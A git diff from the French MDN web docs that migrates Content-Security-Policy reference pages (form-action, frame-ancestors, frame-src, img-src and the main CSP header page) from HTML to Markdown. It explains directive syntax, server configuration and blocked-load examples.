Utiliser un élément {{HTMLElement("form")}} avec un attribut action défini à un script embarqué JavaScript résultera en une violation de CSP :

- -
<meta http-equiv="Content-Security-Policy" content="form-action 'none'">
-
-<form action="javascript:alert('Foo')" id="form1" method="post">
-  <input type="text" name="fieldName" value="fieldValue">
-  <input type="submit" id="submit" value="submit">
-</form>
-
-// Error: Refused to send form data because it violates the following
-// Content Security Policy directive: "form-action 'none'".
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-form-action", "form-action")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-form-action", "form-action")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.form-action")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/form-action/index.md b/files/fr/web/http/headers/content-security-policy/form-action/index.md new file mode 100644 index 0000000000..fee4d1839f --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/form-action/index.md @@ -0,0 +1,113 @@ +--- +title: 'CSP: form-action' +slug: Web/HTTP/Headers/Content-Security-Policy/form-action +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Security + - Sécurité + - form + - form-action +translation_of: Web/HTTP/Headers/Content-Security-Policy/form-action +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) form-action restreint les URL pouvant être utilisées comme cibles de soumissions de formulaires depuis un contexte donné.

+ +
+

Attention : La question de savoir si form-action doit bloquer les redirections après une soumission de formulaire est encore débattue et les implantations des navigateurs sur cet aspect sont incohérentes (par exemple Firefox 57 ne les bloque pas, contrairement à Chrome 63).

+
+ + + + + + + + + + + + + + + + +
Version de CSP2
Type de directive{{Glossary("Navigation directive")}}
{{CSP("default-src")}} par défautNon, ne pas la définir autorise toutes les adresses.
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être utilisées pour cette directive :

+ +
Content-Security-Policy: form-action <source>;
+Content-Security-Policy: form-action <source> <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

+ +

Exemples

+ +

Configuration par balise <meta>

+ +
<meta http-equiv="Content-Security-Policy" content="form-action 'none'">
+ +

Configuration par Apache

+ +
<IfModule mod_headers.c>
+Header set Content-Security-Policy "form-action 'none';"
+</IfModule>
+ +

Configuration par Nginx

+ +
add_header Content-Security-Policy "form-action 'none';"
+ +

Cas de violation

+ +

Utiliser un élément {{HTMLElement("form")}} avec un attribut action défini à un script embarqué JavaScript résultera en une violation de CSP :

+ +
<meta http-equiv="Content-Security-Policy" content="form-action 'none'">
+
+<form action="javascript:alert('Foo')" id="form1" method="post">
+  <input type="text" name="fieldName" value="fieldValue">
+  <input type="submit" id="submit" value="submit">
+</form>
+
+// Error: Refused to send form data because it violates the following
+// Content Security Policy directive: "form-action 'none'".
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-form-action", "form-action")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-form-action", "form-action")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.form-action")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.html b/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.html deleted file mode 100644 index 756e247616..0000000000 --- a/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: 'CSP: frame-ancestors' -slug: Web/HTTP/Headers/Content-Security-Policy/frame-ancestors -tags: - - CSP - - Content-Security-Policy - - Directive - - Frame - - HTTP - - Security - - Sécurité - - frame-ancestors - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/frame-ancestors ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) frame-ancestors spécifie les parents pouvant intégrer une page en utilisant {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}.

- -

Définir cette directive à 'none' est comparable à len-tête HTTP {{HTTPHeader("X-Frame-Options")}}: deny (aussi supporté sur les anciens navigateurs).

- - - - - - - - - - - - - - - - - - - -
CSP version2
Directive type{{Glossary("Navigation directive")}}
{{CSP("default-src")}} fallbackNo. Not setting this allows anything.
This directive is not supported in the {{HTMLElement("meta")}} element.
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: frame-ancestors <source>;
-Content-Security-Policy: frame-ancestors <source> <source>;
-
- -

Sources

- -

La <source> peut être une des suivantes :

- -
-

Note : The frame-ancestors directive’s syntax is similar to a source list of other directives (e.g. {{CSP("default-src")}}), but doesn't allow 'unsafe-eval' or 'unsafe-inline' for example. It will also not fall back to a default-src setting. Only the sources listed below are allowed:

-
- -
-
<host-source>
-
Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un protocole et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque '*'), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides. Vous ne devez pas mettre de guillemets simples.
- Exemples : -
    -
  • http://*.example.com: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole http:.
    • -
  • mail.example.com:443: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com.
    • -
  • https://store.example.com: correspondra à toutes les tentatives d'accès à store.example.com via le protocole https:.
    • -
- -
-

Attention : Si aucun schéma d'URL n'est spécifié comme host-source et que l'{{HTMLElement("iframe")}} est chargée via une URL https:, la page chargeant l'iframe doit aussi être chargée en https:, selon la spécification du W3C sur les correspondances de valeurs de sources.

-
-
-
<scheme-source>
-
Un protocole tel que http: or https:. Les deux-points sont nécessaires et vous ne devez pas mettre de guillemets. Vous pouvez aussi spécifier des schémas de données bien que ce ne soit pas recommandé. -
    -
  • data: Autorise les URI data: à être utilisées comme source de contenu. Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie et certainement pas pour des scripts.
    • -
  • mediastream: permet aux URI mediastream: d'être utilisées comme source de contenu.
    • -
  • blob: permet aux URI blob: d'être utilisées comme source de contenu.
    • -
  • filesystem: Allows URI filesystem: d'être utilisées comme source de contenu.
    • -
-
-
'self'
-
Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs blob et filesystem des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data.
-
'none'
-
Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets.
-
- -

Exemples

- -
Content-Security-Policy: frame-ancestors 'none';
-
-Content-Security-Policy: frame-ancestors 'self' https://www.example.org;
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-frame-ancestors", "frame-ancestors")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-frame-ancestors", "frame-ancestors")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.frame-ancestors")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.md b/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.md new file mode 100644 index 0000000000..756e247616 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/frame-ancestors/index.md @@ -0,0 +1,124 @@ +--- +title: 'CSP: frame-ancestors' +slug: Web/HTTP/Headers/Content-Security-Policy/frame-ancestors +tags: + - CSP + - Content-Security-Policy + - Directive + - Frame + - HTTP + - Security + - Sécurité + - frame-ancestors + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/frame-ancestors +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) frame-ancestors spécifie les parents pouvant intégrer une page en utilisant {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}.

+ +

Définir cette directive à 'none' est comparable à len-tête HTTP {{HTTPHeader("X-Frame-Options")}}: deny (aussi supporté sur les anciens navigateurs).

+ + + + + + + + + + + + + + + + + + + +
CSP version2
Directive type{{Glossary("Navigation directive")}}
{{CSP("default-src")}} fallbackNo. Not setting this allows anything.
This directive is not supported in the {{HTMLElement("meta")}} element.
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: frame-ancestors <source>;
+Content-Security-Policy: frame-ancestors <source> <source>;
+
+ +

Sources

+ +

La <source> peut être une des suivantes :

+ +
+

Note : The frame-ancestors directive’s syntax is similar to a source list of other directives (e.g. {{CSP("default-src")}}), but doesn't allow 'unsafe-eval' or 'unsafe-inline' for example. It will also not fall back to a default-src setting. Only the sources listed below are allowed:

+
+ +
+
<host-source>
+
Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un protocole et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque '*'), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides. Vous ne devez pas mettre de guillemets simples.
+ Exemples : +
    +
  • http://*.example.com: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole http:.
    • +
  • mail.example.com:443: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com.
    • +
  • https://store.example.com: correspondra à toutes les tentatives d'accès à store.example.com via le protocole https:.
    • +
+ +
+

Attention : Si aucun schéma d'URL n'est spécifié comme host-source et que l'{{HTMLElement("iframe")}} est chargée via une URL https:, la page chargeant l'iframe doit aussi être chargée en https:, selon la spécification du W3C sur les correspondances de valeurs de sources.

+
+
+
<scheme-source>
+
Un protocole tel que http: or https:. Les deux-points sont nécessaires et vous ne devez pas mettre de guillemets. Vous pouvez aussi spécifier des schémas de données bien que ce ne soit pas recommandé. +
    +
  • data: Autorise les URI data: à être utilisées comme source de contenu. Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie et certainement pas pour des scripts.
    • +
  • mediastream: permet aux URI mediastream: d'être utilisées comme source de contenu.
    • +
  • blob: permet aux URI blob: d'être utilisées comme source de contenu.
    • +
  • filesystem: Allows URI filesystem: d'être utilisées comme source de contenu.
    • +
+
+
'self'
+
Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs blob et filesystem des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data.
+
'none'
+
Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets.
+
+ +

Exemples

+ +
Content-Security-Policy: frame-ancestors 'none';
+
+Content-Security-Policy: frame-ancestors 'self' https://www.example.org;
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-frame-ancestors", "frame-ancestors")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-frame-ancestors", "frame-ancestors")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.frame-ancestors")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/frame-src/index.html b/files/fr/web/http/headers/content-security-policy/frame-src/index.html deleted file mode 100644 index e5d7566d81..0000000000 --- a/files/fr/web/http/headers/content-security-policy/frame-src/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: 'CSP: frame-src' -slug: Web/HTTP/Headers/Content-Security-Policy/frame-src -tags: - - CSP - - Content-Security-Policy - - Directive - - Frame - - HTTP - - Reference - - Security - - Sécurité - - frame-src - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/frame-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) frame-src spécifie les sources valides pour des contextes de navigation imbriqués chargés d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.

- - - - - - - - - - - - - - - - -
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
Valeur par défautSi cette directive est absente, l'agent utilisateur consultera la directive {{CSP("child-src")}}, qui a pour valeur par défaut celle de la directive {{CSP("default-src")}}
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: frame-src <source>;
-Content-Security-Policy: frame-src <source> <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

- -

Exemples

- -

Cas de violation

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: frame-src https://example.com/
- -

Cet élément {{HTMLElement("iframe")}} est bloqué et ne se chargera pas :

- -
<iframe src="https://not-example.com/"></iframe>
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-frame-src", "frame-src")}}{{Spec2('CSP 3.0')}}Réappréciation de frame-src.
{{specName("CSP 1.1", "#directive-frame-src", "frame-src")}}{{Spec2('CSP 1.1')}}Dépréciation de frame-src.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.frame-src")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/frame-src/index.md b/files/fr/web/http/headers/content-security-policy/frame-src/index.md new file mode 100644 index 0000000000..e5d7566d81 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/frame-src/index.md @@ -0,0 +1,95 @@ +--- +title: 'CSP: frame-src' +slug: Web/HTTP/Headers/Content-Security-Policy/frame-src +tags: + - CSP + - Content-Security-Policy + - Directive + - Frame + - HTTP + - Reference + - Security + - Sécurité + - frame-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/frame-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) frame-src spécifie les sources valides pour des contextes de navigation imbriqués chargés d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.

+ + + + + + + + + + + + + + + + +
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
Valeur par défautSi cette directive est absente, l'agent utilisateur consultera la directive {{CSP("child-src")}}, qui a pour valeur par défaut celle de la directive {{CSP("default-src")}}
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: frame-src <source>;
+Content-Security-Policy: frame-src <source> <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

+ +

Exemples

+ +

Cas de violation

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: frame-src https://example.com/
+ +

Cet élément {{HTMLElement("iframe")}} est bloqué et ne se chargera pas :

+ +
<iframe src="https://not-example.com/"></iframe>
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-frame-src", "frame-src")}}{{Spec2('CSP 3.0')}}Réappréciation de frame-src.
{{specName("CSP 1.1", "#directive-frame-src", "frame-src")}}{{Spec2('CSP 1.1')}}Dépréciation de frame-src.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.frame-src")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/img-src/index.html b/files/fr/web/http/headers/content-security-policy/img-src/index.html deleted file mode 100644 index cbaf0a5798..0000000000 --- a/files/fr/web/http/headers/content-security-policy/img-src/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: 'CSP: img-src' -slug: Web/HTTP/Headers/Content-Security-Policy/img-src -tags: - - CSP - - Content-Security-Policy - - Directive - - HTTP - - Image - - Reference - - Security - - Sécurité - - img-src - - source -translation_of: Web/HTTP/Headers/Content-Security-Policy/img-src ---- -
{{HTTPSidebar}}
- -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} img-src sépcifie les sources valides d'images et de favicons.

- - - - - - - - - - - - - - - - -
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
- -

Syntaxe

- -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

- -
Content-Security-Policy: img-src <source>;
-Content-Security-Policy: img-src <source> <source>;
-
- -

Sources

- -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

- -

Exemples

- -

Cas de violation

- -

Soit cet en-tête CSP :

- -
Content-Security-Policy: img-src https://example.com/
- -

Cet élément {{HTMLElement("img")}} est bloqué et ne se chargera pas :

- -
<img src="https://not-example.com/foo.jpg" alt="example picture">
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-img-src", "img-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-img-src", "img-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.csp.Content-Security-Policy.img-src")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/content-security-policy/img-src/index.md b/files/fr/web/http/headers/content-security-policy/img-src/index.md new file mode 100644 index 0000000000..cbaf0a5798 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/img-src/index.md @@ -0,0 +1,95 @@ +--- +title: 'CSP: img-src' +slug: Web/HTTP/Headers/Content-Security-Policy/img-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Image + - Reference + - Security + - Sécurité + - img-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/img-src +--- +
{{HTTPSidebar}}
+ +

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} img-src sépcifie les sources valides d'images et de favicons.

+ + + + + + + + + + + + + + + + +
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
+ +

Syntaxe

+ +

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+ +
Content-Security-Policy: img-src <source>;
+Content-Security-Policy: img-src <source> <source>;
+
+ +

Sources

+ +

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

+ +

Exemples

+ +

Cas de violation

+ +

Soit cet en-tête CSP :

+ +
Content-Security-Policy: img-src https://example.com/
+ +

Cet élément {{HTMLElement("img")}} est bloqué et ne se chargera pas :

+ +
<img src="https://not-example.com/foo.jpg" alt="example picture">
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-img-src", "img-src")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-img-src", "img-src")}}{{Spec2('CSP 1.1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.csp.Content-Security-Policy.img-src")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/content-security-policy/index.html b/files/fr/web/http/headers/content-security-policy/index.html deleted file mode 100644 index 2cd4912372..0000000000 --- a/files/fr/web/http/headers/content-security-policy/index.html +++ /dev/null @@ -1,254 +0,0 @@ ---- -title: Politique de sécurité de contenu -slug: Web/HTTP/Headers/Content-Security-Policy -tags: - - CSP - - HTTP - - Référence(2) - - Sécurité - - en-tête -translation_of: Web/HTTP/Headers/Content-Security-Policy ---- -
{{HTTPSidebar}}
- -

L'en-tête de réponse HTTP Content-Security-Policy permet aux administrateurs d'un site web de contrôler les ressources que l'agent utilisateur est autorisé à charger pour une page donnée. Bien qu'il y ait quelques exceptions, ces règles impliquent la plupart du temps de définir les origines du serveur et les points d'accès pour les scripts. Cet en-tête aide à se protéger contre les attaques de cross-site scripting ({{Glossary("XSS")}}).

- -

Pour plus d'informations, voir cet article sur Content Security Policy (CSP).

- - - - - - - - - - - - -
Type d'en-têteEn-tête de réponse
Nom d'en-tête interditNon
- -

Syntaxe

- -
Content-Security-Policy: <policy-directive>; <policy-directive>
-
- -

Directives

- -

Directives de récupération (fetch)

- -

Les directives de récupération (ou fetch directives en anglais) contrôlent les emplacements à partir desquels certains types de ressource peuvent être chargés.

- -
-
{{CSP("child-src")}}
-
Définit les sources valides pour les web workers et les éléments qui représentent des contextes de navigation imbriqués tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.
-
- -
-

Attention :Plutôt que la directive child-src, si vous souhaitez réguler les contextes de navigation imbriqués et les workers séparément, vous pouvez utiliser respectivement les directives {{CSP("frame-src")}} et {{CSP("worker-src")}}.

-
- -
-
{{CSP("connect-src")}}
-
Restreint les URL qui peuvent être chargées via des scripts.
-
{{CSP("default-src")}}
-
Représente la valeur par défaut des directives de récupération qui ne sont pas définies explicitement.
-
{{CSP("font-src")}}
-
Définit les sources valides pour les polices de caractères chargées depuis {{cssxref("@font-face")}}.
-
{{CSP("frame-src")}}
-
Définit les sources valides pour les éléments qui représentent des contextes de navigation imbriqués, tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}.
-
{{CSP("img-src")}}
-
Définit les sources valides pour les images et les favicons.
-
{{CSP("manifest-src")}}
-
Définit les sources valides pour les fichiers de manifeste d'application.
-
{{CSP("media-src")}}
-
Définit les sources valides pour les ressources média des éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}.
-
{{CSP("object-src")}}
-
Définit les sources valides pour les ressources des éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}.
-
- -
-

Note : Les éléments contrôlés pa ar object-src sont considérés peut-être par coïcidence comme des éléments HTML du passé et ne recevront de nouvelles fonctionnalités normalisées (comme les attributs de sécurité sandbox et allow pour <iframe>). De ce fait, il est recommandé de restreindre cette directive, c'est-à-dire la définir explicitement à object-src 'none' dans la mesure du possible.

-
- -
-
{{CSP("prefetch-src")}}
-
Définit .
-
{{CSP("script-src")}}
-
Définit les sources valides pour les fichiers JavaScript.
-
{{CSP("script-src-elem")}}{{experimental_inline}}
-
Définit les sources valides de code JavaScript chargé avec l'élément {{HTMLElement("script")}}.
-
{{CSP("script-src-attr")}}{{experimental_inline}}
-
Définit les sources valides de JavaScript pour les écouteurs d'évènements par les attributs on<eventName>.
-
{{CSP("style-src")}}
-
Définit les sources valides pour les feuilles de styles.
-
{{CSP("style-src-elem")}}{{experimental_inline}}
-
Définit les sources valides pour les feuilles de styles définies avec l'élément {{HTMLElement("style")}} ou chargées avec l'élément {{HTMLElement("link")}} ayant l'attribut rel="stylesheet".
-
{{CSP("style-src-attr")}}{{experimental_inline}}
-
Définit les sources valides pour les feuilles de styles embarquées appliquées à des éléments individuels du DOM par l'attribut style.
-
{{CSP("worker-src")}}
-
Définit les sources valides pour les scripts des {{domxref("Worker")}}, {{domxref("SharedWorker")}} et {{domxref("ServiceWorker")}}.
-
- -

Directives de document

- -

Les directives de document permettent de paramétrer les propriétés d'un document ou d'un environnement pour un web worker auquel une règle de sécurité s'applique.

- -
-
{{CSP("base-uri")}}
-
Restreint les URL qui peuvent être utilisées au sein de l'élément {{HTMLElement("base")}} d'un document.
-
{{CSP("plugin-types")}}
-
Restreint le type de plugin qui peut être intégré dans un document en limitant le type de ressource qui peut être chargé.
-
{{CSP("sandbox")}}
-
Active un bac-à-sable (sandbox) pour la ressource visée. Cela fonctionne de façon analogue à l'attribut {{htmlattrxref("sandbox", "iframe")}} de {{HTMLElement("iframe")}}.
-
- -

Directives de navigation

- -

Les directives de navigation permettent par exemple de paramétrer les emplacements vers lesquels l'utilisateur peut naviguer ou envoyer un formulaire.

- -
-
{{CSP("form-action")}}
-
Restreint les URL qui peuvent être utilisées comme cibles pour envoyer des formulaires depuis un contexte donné.
-
{{CSP("frame-ancestors")}}
-
Définit les parent valides qui peuvent intégrer une page grâce aux éléments {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, ou {{HTMLElement("applet")}}.
-
{{CSP("navigate-to")}}{{experimental_inline}}
-
Restreint les URL vers lesquelles on peut naviguer depuis un document, quel que soit le moyen de navigation (un lien, un formulaire, window.location, window.open, etc.)
-
- -

Directives de rapport

- -

Les directives de rapport permettent de contrôler ce qui se passe lorsqu'une règle CSP est violée. Voir également l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}.

- -
-
{{CSP("report-uri")}}{{deprecated_inline}}
-
Indique à l'agent utilisateur de rapporter les tentatives d'enfreintes du CSP. Un rapport d'enfreinte est un ensemble de documents JSON envoyés via une requête HTTP POST à l'URI indiquée.
-
- -
-

Attention : Bien que la directive report-to est prévue remplacer la directive report-uri maintenant dépréciée, report-to n'est pas encore supportée par la plupart des navigateurs modernes. Par rétrocompatibilité avec les navigateurs courants et tout en prévoyant une compatibilité future quand les navigateurs supporteront report-to, vous pouvez spécifier les deux directives report-uri et report-to:

- -
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname
- -

Dans les navigateurs qui supportent report-to, la directive report-uri sera ignorée.

-
- -
-
{{CSP("report-to")}}{{experimental_inline}}
-
Déclenche un évènement SecurityPolicyViolationEvent.
-
- -

Autres directives

- -
-
{{CSP("block-all-mixed-content")}}
-
Empêche le chargement de toute ressource via HTTP lorsque la page est chargée avec HTTPS.
-
{{CSP("referrer")}} {{deprecated_inline}}{{non-standard_inline}}
-
{{HTTPHeader("Referrer-Policy")}} doit être utilisé à la place. Était utilisée pour indiquer l'en-tête référent (sic) pour les liens sortants.
-
{{CSP("require-sri-for")}}{{experimental_inline}}
-
Oblige à utiliser le contrôle d'intégrité des sous-ressources ({{Glossary("SRI")}}) pour les scripts ou les styles de la page.
-
{{CSP("trusted-types")}}{{experimental_inline}}
-
Utilisée pour spécifier une liste de permissions de règles de Trusted Types. Les Trusted Types permettent à des applications de verrouiller les puits d'injection XSS dans le DOM pour n'accepter que des valeurs typées et non falsifiables plutôt que des chaines de caractères.
-
{{CSP("upgrade-insecure-requests")}}
-
Indique à l'agent utilisateur de considérer toutes les URL non-sécurisées d'un site (celles servies via HTTP) comme si elles avaient été remplacées par des URL sécurisées. Cette directive est destinée aux sites web qui ont de nombreuses URL historiques non-sécurisées et qui doivent être réécrites.
-
- -

Utilisation du CSP dans les web workers

- -

En général, les web workers ne sont pas gérés par les règles de sécurité du contenu du document (ou du worker parent) qui les a créé. Pour indiquer une règle de sécurité du contenu pour le worker, on utilisera un en-tête de réponse Content-Security-Policy pour la requête qui a demandé le script du worker.

- -

Il y a une exception à cette règle lorsque l'origine du script d'un worker est un identifiant global unique (par exemple si l'URL utilise un schéma de donnée ou un blob). Dans ce cas, le worker hérite de la règle de sécurité du contenu depuis le document ou le worker qui l'a créé.

- -

Gérer plusieurs politiques de sécurité

- -

Le CSP permet d'indiquer plusieurs règles pour une même ressource avec l'en-tête Content-Security-Policy, l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} et l'élément {{HTMLElement("meta")}}.

- -

L'en-tête Content-Security-Policy peut être utilisé plus d'une fois comme illustré ci-après. On notera la directive {{CSP("connect-src")}} utilisée ici. Bien que la deuxième règle autorise la connexion, la première contient connect-src 'none'. L'ajout de règles supplémentaires permet uniquement d'augmenter les protections. Les niveaux les plus stricts pour chaque règle sont alors utilisés. Dans l'exemple qui suit, cela signifie que la directive connect-src 'none' sera respectée.

- -
Content-Security-Policy: default-src 'self' http://example.com;
-                         connect-src 'none';
-Content-Security-Policy: connect-src http://example.com/;
-                         script-src http://example.com/
- -

Exemples

- -

Exemple 1

- -

Dans cet exemple, on désactive les scripts écrits à même le document (inline), les opérations eval() et les ressources (images, polices, scripts, etc.) peuvent uniquement être chargées via HTTPS :

- -
// en-tête HTTP
-Content-Security-Policy: default-src https:
-
-// version avec la balise HTML meta
-<meta http-equiv="Content-Security-Policy" content="default-src https:">
-
- -

Exemple 2

- -

Cet exemple est plutôt adapté pour un site historique qui utilise de nombreux scripts écrits dans les documents mais pour lequel on veut s'assurer que les ressources sont chargées via HTTPS et pour lequel on veut désactiver les plugins :

- -
Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'
- -

Exemple 3

- -

On ne met pas en place la règle de sécurité mais on récolte les enfreintes qui se seraient produites pour cette règle :

- -
Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/
- -

Pour plus d'exemples, consulter les recommandations de Mozilla pour la sécurité web.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{specName("CSP 3.0")}}{{Spec2('CSP 3.0')}}Ajout de manifest-src, navigation-to, report-to, strict-dynamic, worker-src. frame-src n'est plus déprécié. report-uri est déprécié au profit de report-to.
{{specName("Mixed Content")}}{{Spec2("Mixed Content")}}Ajout de block-all-mixed-content.
{{specName("Subresource Integrity")}}{{Spec2("Subresource Integrity")}}Ajout de require-sri-for.
{{specName("Upgrade Insecure Requests")}}{{Spec2("Upgrade Insecure Requests")}}Ajout de upgrade-insecure-requests.
